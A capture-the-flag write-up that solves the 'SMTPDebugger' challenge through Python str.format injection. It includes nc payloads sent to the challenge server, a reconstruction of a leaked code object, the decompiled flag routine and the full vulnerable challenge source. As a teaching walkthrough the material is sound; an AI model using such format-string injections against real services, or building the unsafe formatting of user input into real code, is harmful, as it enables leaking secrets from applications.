SMTPDebugger

Description

problem description

Solution

We review the provided SMTPDebugger.py file. The first thing to draw our attention is the following method of SMTPDebbuger class:

    @staticmethod
    def get_flag():
        return "AppSec-IL{This_Is_Not_The_Flag!}"

Whoa did we get the flag in the source code in clear text?! After all many sources embed interesting secrets which is BKM of course wink wink

Unfortunately plan A is toast as "This_is_not_the_flag"™, but well it would not be satisfying challenge if it were :-)

Plan B: find a way to leak the flag returned from this function. Looking for a possible vulnerability we arrive at the send_message method:

    def send_message(self):
        smtp = SMTP(host='localhost', port=1025)
        msg = MIMEMultipart()
        msg['From'] = self.from_addr
        msg['To'] = self.to_addrs
        msg['Subject'] = self.subject.format(**self.extra)
        msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))

        from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
        self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)

We see that we have here a strings we control subject and message (with additional extra "json" object) which are formated. We try:

nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "Hello there!", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "{SMTPDebbuger.get_flag()}"}

We get nothing back, why?

OK, so we got something terribly wrong - probably faulty-human memory confusing different languages string format abilities.

So lets refresh/learn python's string format "abilities":

A new plan is needed as we can't call the method or any method.

Plan C: Leak the get_flag method itself.

How? By accessing the nice __code__ attribute of any python function. It is a "code-object" we will need to leak all of the important attributes of it in order to recreate this function in our local setup.

In order to leak get_flag we need to access it which means accessing the SMTPDebbuger class, we try:

nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "Hello there!", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "{SMTPDebbuger.get_flag.__code__}"}

Nothing! again?!

Apparently we can only access parameters passed to the format function. Huh, lets look again. Found:

        msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))

Good self here is an instance of SMTPDebugger. We try:

nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "{email.__class__.get_flag.__code__}", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "Subject"}
...
...
b'<code object get_flag at 0x0000016D608196F0, file "/app/index.py", line 71>'
...

Bingo! Now we get all the relevant attributes, we collect them in a python file:

from types import CodeType
argcount = 0
kwonlyargcount = 0
nlocals = 17
stacksize = 10
flags = 67
code = b'd\x01d\x00l\x00}\x00d\x02}\x01d\x03}\x02d\x04}\x03d\x02}\x04y\x08t\x01\x01\x00W\x00nF\x04\x00t\x02k\nrf\x01\x00}\x05\x01\x00z(|\x04t\x03|\x05\x83\x01\xa0\x04t\x05d\x05\x83\x01\xa1\x01d\x06\x19\x007\x00}\x04|\x04\x9b\x00d\x07\x9d\x02}\x04W\x00d\x00d\x00}\x05~\x05X\x00Y\x00n\x02X\x00\x90\x01xJt\x06t\x03t\x07\x83\x00\x83\x01\x83\x01D\x00\x90\x01]6\\\x02}\x06}\x07|\x01|\x077\x00}\x01d\x08}\x07d\t}\x08d\n}\td\x0bd\x0cd\rg\x03}\nd\x0e}\x0bd\x0f}\x0cd\x10}\r|\x06sz|\x01t\x08t\x03\x83\x01d\x11\x19\x00\xa0\t\xa1\x007\x00}\x01|\x01t\nj\x0bj\x0cd\x01\x19\x007\x00}\x01d\x12}\x0ed\x13}\x0f|\x01|\x0e|\x0f\x17\x00|\x07\x17\x007\x00}\x01|\x01|\t7\x00}\x01|\x01t\nj\x0bj\x0cd\x14\x19\x007\x00}\x01|\x01t\rt\x0et\x0fj\x10j\x11\x83\x01\xa0\x12\xa1\x00\x83\x01d\x15\x19\x00\xa0\x13d\x16\xa1\x01\xa0\t\xa1\x007\x00}\x01d\x16}\x10|\x01|\x107\x00}\x01|\x01t\nj\x0c\xa0\t\xa1\x007\x00}\x01|\x01t\x0cd\x06\x19\x007\x00}\x01|\x01|\x00\xa0\x14t\x15d!|\nd"\x95\x03\x83\x01d\x00d\x00d\x14\x85\x03\x19\x00\xa1\x01\xa0\x16\xa1\x007\x00}\x01|\x01t\x0cd\x1b\x19\x007\x00}\x01|\x01t\x0fj\x17j\x0c\xa0\x04|\x10\xa1\x01d\x14\x19\x00\xa0\x18d\x1cd\x1d\xa1\x027\x00}\x01|\x01\xa0\x18d\x1et\x03d\x01\x83\x01\xa1\x02}\x01qzW\x00|\x04|\x01\xa0\x18t\x05d\x1f\x83\x01d \xa1\x02\x17\x00S\x00'
consts = (None, 0, '', 'realgam3', 'Tomer Zait', 39, 1, '-IL', 'u', 'b', 's', 78, 49, 70, 'c', 'r', 'k', 41, 'p', 'l', -1, 8, '_', 119, 71, 88, 82, -2, 'f', 'F', 'o', 101, '3', (49, 119, 71), (88, 82))
names = ('base64', 'AppSec', 'Exception', 'str', 'split', 'chr', 'enumerate', 'dict', 'dir', 'title', 'object', '__init__', '__name__', 'list', 'vars', 'SMTPDebugger', 'send_message', '__class__', 'keys', 'strip', 'b64decode', 'bytearray', 'decode', 'get_flag', 'replace')
varnames = ('base64', 'flag', 'author', 'realgam3', 'start', 'ex', 'i', 'c', 'h', 'r', 'l', 't', 'e', 'z', 'b', 'a', '_')
filename = '/app/index.py'
name = 'get_flag'
firstlineno = 71
lnotab = b'\x00\x02\x08\x02\x04\x01\x04\x01\x04\x01\x04\x01\x02\x01\x08\x01\x10\x01\x1a\x01\x1c\x02\x1c\x01\x08\x01\x04\x01\x04\x01\x04\x01\n\x01\x04\x01\x04\x01\x04\x02\x04\x01\x14\x01\x10\x01\x04\x01\x04\x01\x10\x01\x08\x01\x10\x01&\x01\x04\x01\x08\x01\x0e\x01\x0c\x01&\x01\x0c\x01\x1e\x01\x14\x01'
freevars = ()
cellvars = ()
code_obj = CodeType(argcount, kwonlyargcount, nlocals, stacksize, flags, code, consts,names, varnames, filename, name, firstlineno,lnotab, freevars, cellvars)

Using uncompyle6 as in the following code:

from uncompyle6.main import decompile
import sys
decompile(None, code_obj, sys.stdout, showast=False)

We get the following code:

# uncompyle6 version 3.7.4
# Python bytecode 3.7
# Decompiled from: Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 23:09:28) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: /app/index.py
import base64
flag = ''
author = 'realgam3'
realgam3 = 'Tomer Zait'
start = ''
try:
    AppSec
except Exception as ex:
    try:
        start += str(ex).split(chr(39))[1]
        start = f"{start}-IL"
    finally:
        ex = None
        del ex

for i, c in enumerate(str(dict())):
    flag += c
    c = 'u'
    h = 'b'
    r = 's'
    l = [78, 49, 70]
    t = 'c'
    e = 'r'
    z = 'k'
    if not i:
        flag += dir(str)[41].title()
        flag += object.__init__.__name__[0]
        b = 'p'
        a = 'l'
        flag += b + a + c
        flag += r
        flag += object.__init__.__name__[(-1)]
        flag += list(vars(SMTPDebugger.send_message.__class__).keys())[8].strip('_').title()
        _ = '_'
        flag += _
        flag += object.__name__.title()
        flag += __name__[1]
        flag += base64.b64decode(bytearray([49, 119, 71, *l, 88, 82])[::-1]).decode()
        flag += __name__[(-2)]
        flag += SMTPDebugger.get_flag.__name__.split(_)[(-1)].replace('f', 'F')
        flag = flag.replace('o', str(0))

return start + flag.replace(chr(101), '3')

Replacing SMTPDebugger.send_message.__class__ with types.MethodType and SMTPDebugger.get_flag.__name__ with 'get_flag' we run the resulting code and get the flag:

AppSec-IL{F0rmat_plus_C0d3_Obj3ct_Equ4l5_Flag}

Credit due

Full Source

import re
import sys
import json
import smtpd
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

BANNER = """
  `/hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy/`  
 +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+ 
oMMMMMMMMMdoooooooooooooooooooooooooooooooooooooooooooooooooooooooooodMMMMMMMMM+
NMMMMMMMMMMd:                                                      :dMMMMMMMMMMm
MMMMM/+mMMMMMd:                                                  :dMMMMMm+/MMMMM
MMMMM: `+NMMMMMd:                                              :dMMMMMN+` :MMMMM
MMMMM:   `+NMMMMMd:                                          :dMMMMMN+`   :MMMMM
MMMMM:     `+mMMMMMd:                                      :dMMMMMm+`     :MMMMM
MMMMM:       `+NMMMMMd:                                  :dMMMMMN+`       :MMMMM
MMMMM:         `+NMMMMMd:                              :dMMMMMN+          :MMMMM
MMMMM:           `+NMMMMMd:                          :dMMMMMm+`           :MMMMM
MMMMM:             `+NMMMMMd:                      :dMMMMMN+`             :MMMMM
MMMMM:               `+mMMMMMd:                  :dMMMMMm+`               :MMMMM
MMMMM:                 :NMMMMMMd:              :dMMMMMMN:                 :MMMMM
MMMMM:               :hMMMMMMMMMMd:          :dMMMMMMMMMMh:               :MMMMM
MMMMM:             :hMMMMMN++NMMMMMd:      :dMMMMMN++NMMMMMh:             :MMMMM
MMMMM:           -hMMMMMNo`  `+NMMMMMd:  :dMMMMMN+`  `oNMMMMMh-           :MMMMM
MMMMM:         -hMMMMMNo`      `+NMMMMMmmMMMMMN+       `oNMMMMMh-         :MMMMM
MMMMM:       :hMMMMMNo`          `+NMMMMMMMMm+`          `oNMMMMMh:       :MMMMM
MMMMM:     :hMMMMMNo`              `/ydmmdy/`              `oNMMMMMh:     :MMMMM
MMMMM:   -hMMMMMN+`                                          `+NMMMMMh-   :MMMMM
MMMMM: :hMMMMMNo`                                              `oNMMMMMh: :MMMMM
NMMMMshMMMMMNo`                                                  `oNMMMMMhsMMMMN
+MMMMMMMMMMNsoooooooooooooooooooooooooooooooooooooooooooooooooooooosNMMMMMMMMMM+
 +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+ 
  `+hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmy/`  
"""


class SMTP(smtplib.SMTP):
    class fake_socket(object):
        def sendall(self, *args):
            pass

    def _get_socket(self, host, port, timeout):
        return self.fake_socket()

    def getreply(self):
        return 220, ""

    def sendmail(self, *args):
        return args


class SMTPDebugger(object):
    _print_message_content = smtpd.DebuggingServer._print_message_content
    process_message = smtpd.DebuggingServer.process_message

    def __init__(self, from_addr, to_addrs, subject, message, **extra):
        self.from_addr = self.validate_email(from_addr)
        self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
        self.subject = subject
        self.message = message
        self.extra = extra

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        return False

    @staticmethod
    def get_flag():
        return "AppSec-IL{This_Is_Not_The_Flag!}"

    @staticmethod
    def validate_email(email):
        email = email.strip()
        res = re.match(
            r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
            r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
            email
        )
        if not res:
            raise ValueError("'{email}' is bad email address!".format(email=email))
        return email

    def send_message(self):
        smtp = SMTP(host='localhost', port=1025)
        msg = MIMEMultipart()
        msg['From'] = self.from_addr
        msg['To'] = self.to_addrs
        msg['Subject'] = self.subject.format(**self.extra)
        msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))

        from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
        self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)

    @classmethod
    def run(cls):
        try:
            print(BANNER)
            kwargs = json.loads(input("Enter Email JSON: "))
            print()
            with cls(**kwargs) as smtp:
                smtp.send_message()
        except Exception as ex:
            print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
            return 1
        return 0


if __name__ == "__main__":
    sys.exit(SMTPDebugger.run())